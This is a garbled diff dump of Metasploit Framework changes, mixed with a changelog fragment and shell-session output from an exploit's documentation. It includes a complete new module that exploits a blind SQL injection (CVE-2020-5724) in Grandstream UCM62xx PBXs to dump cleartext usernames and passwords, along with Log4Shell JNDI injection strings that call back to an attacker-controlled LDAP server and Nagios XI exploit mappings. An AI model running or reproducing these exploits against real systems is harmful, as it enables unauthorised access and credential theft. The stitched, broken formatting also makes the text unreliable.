|
||||
## 2.5.1 - 2020-11-13
|
||||
|
||||
- add support for LiveWire component urls
|
||||
|
||||
## 2.5.0 - 2020-10-27
|
||||
|
||||
uname -a
|
||||
Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux
|
||||
cat /etc/debian_version
|
||||
10.7
|
||||
exit
|
||||
[*] 172.28.240.1 - Command shell session 2 closed.
|
||||
```
|
||||
|
||||
### Version and OS
|
||||
This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. Details as below:
|
||||
|
||||
* PHP 7.4.1
|
||||
* Laravel Framework 8.26.1
|
||||
* Ignition 2.5.1
|
||||
* Debian 10.7
|
|
@ -40,6 +40,11 @@ DefangedMode is set to true by default to prevent unintentional network configur
|
|||
This must be set to false if packet forwarding on port 445 was disabled manually.
|
||||
DisableFwd is set to true by default to allow the module to disable packet forwarding on port 445.
|
||||
|
||||
### ConfirmServerDialect
|
||||
|
||||
This must be set to true to have the module confirm the server supports the lowest smb version supported by the client.
|
||||
ConfirmServerDialect is set to false by default as the above situation is unlikely.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Active Windows Network**
|
||||
|
|
|
@ -85,6 +85,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
|
|||
driver_options['Logger'] = options.console.logger
|
||||
driver_options['ModulePath'] = options.modules.path
|
||||
driver_options['Plugins'] = options.console.plugins
|
||||
driver_options['Readline'] = options.console.readline
|
||||
driver_options['RealReadline'] = options.console.real_readline
|
||||
driver_options['Resource'] = options.console.resources
|
||||
driver_options['XCommands'] = options.console.commands
|
||||
|
|
|
@ -15,6 +15,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||
options.console.local_output = nil
|
||||
options.console.plugins = []
|
||||
options.console.quiet = false
|
||||
options.console.readline = true
|
||||
options.console.real_readline = false
|
||||
options.console.resources = []
|
||||
options.console.subcommand = :run
|
||||
|
@ -48,6 +49,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||
options.console.logger = logger
|
||||
end
|
||||
|
||||
option_parser.on('--[no-]readline') do |readline|
|
||||
options.console.readline = readline
|
||||
end
|
||||
|
||||
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
|
||||
options.console.real_readline = true
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "6.1.30"
|
||||
VERSION = "6.1.31"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -21,8 +21,11 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
|
|||
self.base_platform = 'java'
|
||||
self.base_arch = ARCH_JAVA
|
||||
end
|
||||
|
||||
def native_arch
|
||||
@native_arch ||= self.core.native_arch
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -114,7 +114,7 @@ module Exploit::Android
|
|||
# The NDK stager is used to launch a hidden APK
|
||||
def ndkstager(stagename, arch)
|
||||
stager_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-6636", NDK_FILES[arch] || arch, 'libndkstager.so')
|
||||
data = File.read(stager_file, {:mode => 'rb'})
|
||||
data = File.read(stager_file, mode: 'rb')
|
||||
data.gsub!('PLOAD', stagename)
|
||||
end
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# Scans a Nagios XI target and suggests exploit modules to use
|
||||
module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck
|
||||
# Uses the Nagios XI version to check which CVEs and related exploit modules the target is vulnerable to, if any
|
||||
#
|
||||
# @param version [Rex::Version] Nagios XI version
|
||||
# @return [Hash], Hash mapping CVE numbers to exploit module names if the target is vulnerable, empty hash otherwise
|
||||
def nagios_xi_rce_check(version)
|
||||
def nagios_xi_rce_check(version)
|
||||
matching_exploits = {}
|
||||
|
||||
# Storage area for known exploits that affect versions prior to the one in the hash key
|
||||
nagios_rce_version_prior = {
|
||||
'5.2.8' => [
|
||||
['NO CVE AVAILABLE', 'nagios_xi_chained_rce']
|
||||
],
|
||||
]
|
||||
}
|
||||
|
||||
nagios_rce_version_prior.each do |fixed_version, info|
|
||||
|
@ -53,10 +54,13 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck
|
|||
'5.6.0-5.7.3' => [
|
||||
['CVE-2020-5791', 'nagios_xi_mibs_authenticated_rce']
|
||||
],
|
||||
'5.2.0-5.8.4' => [
|
||||
['CVE-2021-37343', 'nagios_xi_autodiscovery_webshell']
|
||||
]
|
||||
}
|
||||
|
||||
nagios_rce_version_range.each do |fixed_version, info|
|
||||
lower, higher = fixed_version.split("-")
|
||||
lower, higher = fixed_version.split('-')
|
||||
lower = Rex::Version.new(lower)
|
||||
higher = Rex::Version.new(higher)
|
||||
if version >= lower && version <= higher
|
||||
|
|
|
@ -27,8 +27,9 @@ module Exploit::Remote::JndiInjection
|
|||
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
|
||||
#
|
||||
# @return [String] the JNDI string
|
||||
def jndi_string
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
||||
def jndi_string(resource = nil)
|
||||
resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}"
|
||||
"ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}"
|
||||
end
|
||||
|
||||
## LDAP service callbacks
|
||||
|
@ -130,7 +131,9 @@ module Exploit::Remote::JndiInjection
|
|||
end
|
||||
|
||||
def validate_configuration!
|
||||
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
|
||||
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::Log4Shell
|
||||
include Exploit::Remote::JndiInjection
|
||||
|
||||
def log4j_jndi_string(resource = nil)
|
||||
"${jndi:#{jndi_string(resource)}}"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -58,9 +58,11 @@ module Exploit::Remote::SocketServer
|
|||
#
|
||||
def cleanup
|
||||
super
|
||||
if(service)
|
||||
stop_service()
|
||||
print_status("Server stopped.")
|
||||
if service
|
||||
stopped = stop_service
|
||||
if stopped
|
||||
print_status("Server stopped.")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -80,17 +82,24 @@ module Exploit::Remote::SocketServer
|
|||
# Stops the service.
|
||||
#
|
||||
def stop_service
|
||||
if (service)
|
||||
if service
|
||||
begin
|
||||
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
if self.service.kind_of?(Rex::Service)
|
||||
temp_service = self.service
|
||||
self.service = nil
|
||||
return temp_service.deref
|
||||
else
|
||||
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
end
|
||||
|
||||
self.service = nil
|
||||
true
|
||||
rescue ::Exception => e
|
||||
print_error(e.message)
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,10 +5,12 @@ module Exploit::SMB
|
|||
READ_TIMEOUT = 30
|
||||
TCP_MSS = 536 # RFC 879
|
||||
|
||||
# The underlying socket that we select on
|
||||
# @!attribute [rw] tcp_socket
|
||||
# The underlying stream that we select on
|
||||
# @!attribute [rw] stream
|
||||
# @return [IO]
|
||||
attr_accessor :tcp_socket
|
||||
attr_accessor :stream
|
||||
|
||||
alias :tcp_socket :stream
|
||||
|
||||
# The read timeout
|
||||
# @!attribute [rw] read_timeout
|
||||
|
@ -95,6 +97,8 @@ module Exploit::SMB
|
|||
@tcp_win = tcp_win
|
||||
@tcp_mss = tcp_mss
|
||||
@read_timeout = read_timeout
|
||||
# Just create something to close
|
||||
@stream = Socket.new Socket::AF_INET, Socket::SOCK_STREAM
|
||||
end
|
||||
|
||||
# @param host [String] passed to TCPSocket.new
|
||||
|
@ -104,7 +108,7 @@ module Exploit::SMB
|
|||
end
|
||||
|
||||
# Needs: @tcp_src, @tcp_dst, @tcp_seq, @tcp_ack, @tcp-win, @interface, @mac
|
||||
def send_packet(packet, nbss_header: true)
|
||||
def send_packet(packet, nbss_header: true, tcp_flags: { ack: 1, psh: 1 }, tcp_opts: "")
|
||||
data = nbss_header ? nbss(packet) : ''
|
||||
if packet.methods.include?(:to_binary_s)
|
||||
data << packet.to_binary_s
|
||||
|
@ -119,17 +123,20 @@ module Exploit::SMB
|
|||
tcp_seq: @tcp_seq,
|
||||
tcp_ack: @tcp_ack,
|
||||
tcp_win: @tcp_win,
|
||||
tcp_flags: { ack: 1, psh: 1}
|
||||
tcp_flags: tcp_flags,
|
||||
tcp_opts: tcp_opts
|
||||
)
|
||||
pkt = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: tcp_header)
|
||||
pkt.payload = data
|
||||
pkt.recalc
|
||||
@stream.close if @stream
|
||||
@ccap = PacketFu::Capture.new(
|
||||
iface: @interface,
|
||||
promisc: false,
|
||||
start: true,
|
||||
filter: "ether dst #{@mac} and not ether src #{@mac} and src port 445 and dst port #{@tcp_src}"
|
||||
filter: "ether dst #{@mac} and not ether src #{@mac} and src port #{@tcp_dst} and dst port #{@tcp_src}"
|
||||
)
|
||||
@stream = @ccap.stream
|
||||
if data.size > @tcp_mss
|
||||
ip_body = pkt.ip_header.body.to_s
|
||||
ip_id = pkt.ip_header.ip_id
|
||||
|
@ -158,10 +165,14 @@ module Exploit::SMB
|
|||
# @raise [RubySMB::Error::CommunicationError] if the read timeout expires or an error occurs when reading the packet
|
||||
def recv_packet(full_response: false)
|
||||
raise RubySMB::Error::CommunicationError, 'Capture has not been initialized' unless @ccap.class == PacketFu::Capture
|
||||
pkt = @ccap.stream.each_data do |data|
|
||||
break PacketFu::Packet.parse(data)
|
||||
pkt = @stream.each_data do |data|
|
||||
pkt = PacketFu::Packet.parse(data)
|
||||
break pkt if (pkt.tcp_header.tcp_seq == @tcp_ack) || (@tcp_ack == 0)
|
||||
end
|
||||
raise Errno::ECONNRESET, 'Recieved a RST packet' if pkt.tcp_header.tcp_flags.rst == 1
|
||||
#puts "#{pkt.tcp_header.tcp_seq} == #{@tcp_ack}"
|
||||
@tcp_ack = pkt.tcp_header.tcp_seq + pkt.tcp_header.body.size
|
||||
@tcp_ack += 1 if pkt.tcp_header.tcp_flags.syn == 1
|
||||
@tcp_seq = pkt.tcp_header.tcp_ack
|
||||
return pkt.payload[(full_response ? 0 : 4)..-1]
|
||||
rescue Errno::EINVAL, Errno::ECONNABORTED, Errno::ECONNRESET, TypeError, NoMethodError => e
|
||||
|
|
|
@ -150,9 +150,15 @@ module Msf
|
|||
def replicant
|
||||
obj = self.clone
|
||||
self.instance_variables.each { |k|
|
||||
v = instance_variable_get(k)
|
||||
v = v.dup rescue v
|
||||
obj.instance_variable_set(k, v)
|
||||
old_value = instance_variable_get(k)
|
||||
begin
|
||||
new_value = old_value.is_a?(Rex::Ref) ? old_value.ref : old_value.dup
|
||||
rescue => e
|
||||
elog("#{self.class} replicant failed to dup #{k}", error: e)
|
||||
new_value = old_value
|
||||
end
|
||||
|
||||
obj.instance_variable_set(k, new_value)
|
||||
}
|
||||
|
||||
obj.datastore = self.datastore.copy
|
||||
|
|
|
@ -488,7 +488,7 @@ module Msf::Post::File
|
|||
# @param local [String] Local file whose contents will be uploaded
|
||||
# @return (see #write_file)
|
||||
def upload_file(remote, local)
|
||||
write_file(remote, ::File.read(local))
|
||||
write_file(remote, ::File.read(local, mode: 'rb'))
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -288,7 +288,7 @@ module Msf
|
|||
|
||||
added = "Loaded #{overall} modules:\n"
|
||||
|
||||
totals.each_pair { |type, count|
|
||||
totals.sort_by { |type, _count| type }.each { |type, count|
|
||||
added << " #{count} #{type} modules\n"
|
||||
}
|
||||
|
||||
|
|
|
@ -51,6 +51,7 @@ class Driver < Msf::Ui::Driver
|
|||
#
|
||||
# @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow
|
||||
# unrecognized commands to be executed by the system shell
|
||||
# @option opts [Boolean] 'Readline' (true) Whether to use the readline or not
|
||||
# @option opts [Boolean] 'RealReadline' (false) Whether to use the system's
|
||||
# readline library instead of RBReadline
|
||||
# @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file
|
||||
|
@ -91,6 +92,10 @@ class Driver < Msf::Ui::Driver
|
|||
input = opts['LocalInput']
|
||||
input ||= Rex::Ui::Text::Input::Stdio.new
|
||||
|
||||
if !opts['Readline']
|
||||
input.disable_readline
|
||||
end
|
||||
|
||||
if (opts['LocalOutput'])
|
||||
if (opts['LocalOutput'].kind_of?(String))
|
||||
output = Rex::Ui::Text::Output::File.new(opts['LocalOutput'])
|
||||
|
|
|
@ -28,6 +28,7 @@ module Service
|
|||
# If there's only one reference, then it's the service managers.
|
||||
if @_references == 1
|
||||
Rex::ServiceManager.stop_service(self)
|
||||
return true
|
||||
end
|
||||
|
||||
rv
|
||||
|
|
|
@ -20,6 +20,7 @@ class Input
|
|||
def initialize
|
||||
self.eof = false
|
||||
@config = {
|
||||
:readline => true, # true, false
|
||||
:color => :auto, # true, false, :auto
|
||||
}
|
||||
super
|
||||
|
@ -29,7 +30,9 @@ class Input
|
|||
# Whether or not the input medium supports readline.
|
||||
#
|
||||
def supports_readline
|
||||
true
|
||||
return true if not @config
|
||||
|
||||
config[:readline] == true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -82,6 +85,16 @@ class Input
|
|||
|
||||
attr_reader :config
|
||||
|
||||
def disable_readline
|
||||
return if not @config
|
||||
@config[:readline] = false
|
||||
end
|
||||
|
||||
def enable_readline
|
||||
return if not @config
|
||||
@config[:readline] = true
|
||||
end
|
||||
|
||||
def disable_color
|
||||
return if not @config
|
||||
@config[:color] = false
|
||||
|
@ -111,4 +124,3 @@ end
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -6,27 +6,23 @@
|
|||
module Rex::UserAgent
|
||||
|
||||
#
|
||||
# List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/
|
||||
# This article was updated on July 11th 2015. It's probably worth updating this
|
||||
# list over time.
|
||||
#
|
||||
# This list is in the order of most common to least common.
|
||||
# Taken from https://www.whatismybrowser.com/guides/the-latest-user-agent/
|
||||
#
|
||||
COMMON_AGENTS = [
|
||||
# Chrome
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36',
|
||||
|
||||
# Edge
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
|
||||
|
||||
# Safari
|
||||
'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15',
|
||||
'Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15',
|
||||
|
||||
# Firefox
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv:94.0) Gecko/20100101 Firefox/94.0',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0',
|
||||
]
|
||||
|
||||
#
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.72'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.74'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Rex::Proto::Http::WebSocket
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::SQLi
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump',
|
||||
'Description' => %q{
|
||||
This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx
|
||||
IP PBX to dump the users table. The injection occurs over a websocket at the websockify
|
||||
endpoint, and specifically occurs when the user requests the challenge (as part of a
|
||||
challenge and response authentication scheme). The injection is blind, but the server
|
||||
response contains a different status code if the query was successful. As such, the
|
||||
attacker can guess the contents of the user database. Most helpfully, the passwords are
|
||||
stored in cleartext within the user table (CVE-2020-5723).
|
||||
|
||||
This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jbaines-r7' # Vulnerability discovery, original poc, and Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2020-5724' ],
|
||||
[ 'CVE', '2020-5723'],
|
||||
[ 'URL', 'https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py']
|
||||
],
|
||||
'DisclosureDate' => '2020-03-30',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8089,
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
# Craft the SQL injection into the challenge request
|
||||
def create_injection_request(query)
|
||||
id = Rex::Text.rand_text_alphanumeric(12)
|
||||
req = "{\"type\":\"request\",\"message\":{\"transactionid\":\"#{id}\",\"version\":\"1.0\",\"action\":\"challenge\",\"username\":\""
|
||||
req.concat("\' OR ")
|
||||
req.concat(query)
|
||||
req.concat('--"}}')
|
||||
req
|
||||
end
|
||||
|
||||
# Retrieve the server's response and pull out the status response. The return value is
|
||||
# the server's response value (or 1 on failure).
|
||||
def recv_wsframe_status(wsock)
|
||||
res = wsock.get_wsframe
|
||||
return 1 unless res
|
||||
|
||||
begin
|
||||
res_json = JSON.parse(res.payload_data)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
|
||||
end
|
||||
|
||||
status = res_json.dig('message', 'status')
|
||||
return 1 if status.nil?
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
# Extract the version from the cgi endpoint and compare against the
|
||||
# known patched version (1.0.20.22)
|
||||
def check
|
||||
normalized_uri = normalize_uri(target_uri.path, '/cgi')
|
||||
print_status("Requesting version information from #{normalized_uri}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalized_uri,
|
||||
'vars_post' => { 'action' => 'getInfo' }
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200)
|
||||
|
||||
body_json = res.get_json_document
|
||||
return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?
|
||||
|
||||
prog_version = body_json.dig('response', 'prog_version')
|
||||
return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?
|
||||
|
||||
if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
|
||||
return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}")
|
||||
end
|
||||
|
||||
def run
|
||||
sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
|
||||
wsock = connect_ws(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/websockify')
|
||||
)
|
||||
|
||||
wsock.put_wstext(create_injection_request(payload))
|
||||
recv_wsframe_status(wsock) == 0
|
||||
|
||||
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
|
||||
res = e.http_response
|
||||
fail_with(Failure::Unreachable, e.message) if res.nil?
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
users = sqli.dump_table_fields('users', ['user_name', 'user_password'])
|
||||
users.each do |user|
|
||||
print_status("Found the following username and password: #{user[0]} - #{user[1]}")
|
||||
store_valid_credential(user: user[0], private: user[1])
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,7 +6,7 @@
|
|||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
include Msf::Exploit::Remote::Log4Shell
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
|
@ -67,65 +67,38 @@ class MetasploitModule < Msf::Auxiliary
|
|||
])
|
||||
end
|
||||
|
||||
def jndi_string(resource)
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}/${sys:java.vendor}_${sys:java.version}}"
|
||||
def log4j_jndi_string(resource = '')
|
||||
super(resource + '/${sys:java.vendor}_${sys:java.version}')
|
||||
end
|
||||
|
||||
#
|
||||
# Handle incoming requests via service mixin
|
||||
#
|
||||
def on_dispatch_request(client, data)
|
||||
return if data.strip.empty?
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
vprint_status("LDAP request data remaining: #{data}") if !data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
client.authenticated = true
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
||||
# Perform query against some loaded LDIF structure
|
||||
treebase = pdu.search_parameters[:base_object].to_s
|
||||
token, java_version = treebase.split('/', 2)
|
||||
target_info = @mutex.synchronize { @tokens.delete(token) }
|
||||
if target_info
|
||||
@mutex.synchronize { @successes << target_info }
|
||||
details = normalize_uri(target_info[:target_uri]).to_s
|
||||
details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
|
||||
details << " (java: #{java_version})" unless java_version.blank?
|
||||
peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
|
||||
print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
|
||||
report_vuln(
|
||||
host: target_info[:rhost],
|
||||
port: target_info[:rport],
|
||||
info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
nil
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
else
|
||||
vprint_status("Client sent unexpected request #{tag}")
|
||||
client.close
|
||||
end
|
||||
resp.nil? ? client.close : on_send_response(client, resp)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to handle LDAP request due to #{e}")
|
||||
client.close
|
||||
def build_ldap_search_response(msg_id, base_dn)
|
||||
token, java_version = base_dn.split('/', 2)
|
||||
target_info = @mutex.synchronize { @tokens.delete(token) }
|
||||
if target_info
|
||||
@mutex.synchronize { @successes << target_info }
|
||||
details = normalize_uri(target_info[:target_uri]).to_s
|
||||
details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
|
||||
details << " (java: #{java_version})" unless java_version.blank?
|
||||
peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
|
||||
print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
|
||||
report_vuln(
|
||||
host: target_info[:rhost],
|
||||
port: target_info[:rport],
|
||||
info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
resp
|
||||
|
||||
attrs = [ ]
|
||||
appseq = [
|
||||
base_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[ msg_id.to_ber, appseq ].to_ber_sequence
|
||||
end
|
||||
|
||||
def rand_text_alpha_lower_numeric(len, bad = '')
|
||||
|
@ -136,10 +109,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
validate_configuration!
|
||||
@mutex = Mutex.new
|
||||
@mutex.extend(::Rex::Ref)
|
||||
|
||||
@tokens = {}
|
||||
@tokens.extend(::Rex::Ref)
|
||||
|
||||
@successes = []
|
||||
@successes.extend(::Rex::Ref)
|
||||
|
||||
begin
|
||||
start_service
|
||||
rescue Rex::BindFailed => e
|
||||
|
@ -155,26 +134,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable(details: @successes)
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
|
||||
def replicant
|
||||
#
|
||||
# WARNING: This is a horrible pattern and should not be copy-pasted into new code. A better solution is currently
|
||||
# in the works to address service / socket replication as it affects scanner modules.
|
||||
#
|
||||
service = @service
|
||||
@service = nil
|
||||
obj = super
|
||||
@service = service
|
||||
|
||||
# but do copy the tokens and mutex to the new object
|
||||
obj.mutex = @mutex
|
||||
obj.tokens = @tokens
|
||||
obj.successes = @successes
|
||||
obj
|
||||
Exploit::CheckCode::Vulnerable(details: @successes)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
@ -190,7 +150,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
if uri.include?('${jndi:uri}')
|
||||
token = rand_text_alpha_lower_numeric(8..32)
|
||||
jndi = jndi_string(token)
|
||||
jndi = log4j_jndi_string(token)
|
||||
uri.delete_prefix!('/')
|
||||
test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi)))
|
||||
else
|
||||
|
@ -203,7 +163,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# HTTP_HEADER isn't exposed via the datastore but allows other modules to leverage this one to test a specific value
|
||||
unless datastore['HTTP_HEADER'].blank?
|
||||
token = rand_text_alpha_lower_numeric(8..32)
|
||||
test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => jndi_string(token) })
|
||||
test(token, uri: uri, headers: { datastore['HTTP_HEADER'] => log4j_jndi_string(token) })
|
||||
end
|
||||
|
||||
unless datastore['HEADERS_FILE'].blank?
|
||||
|
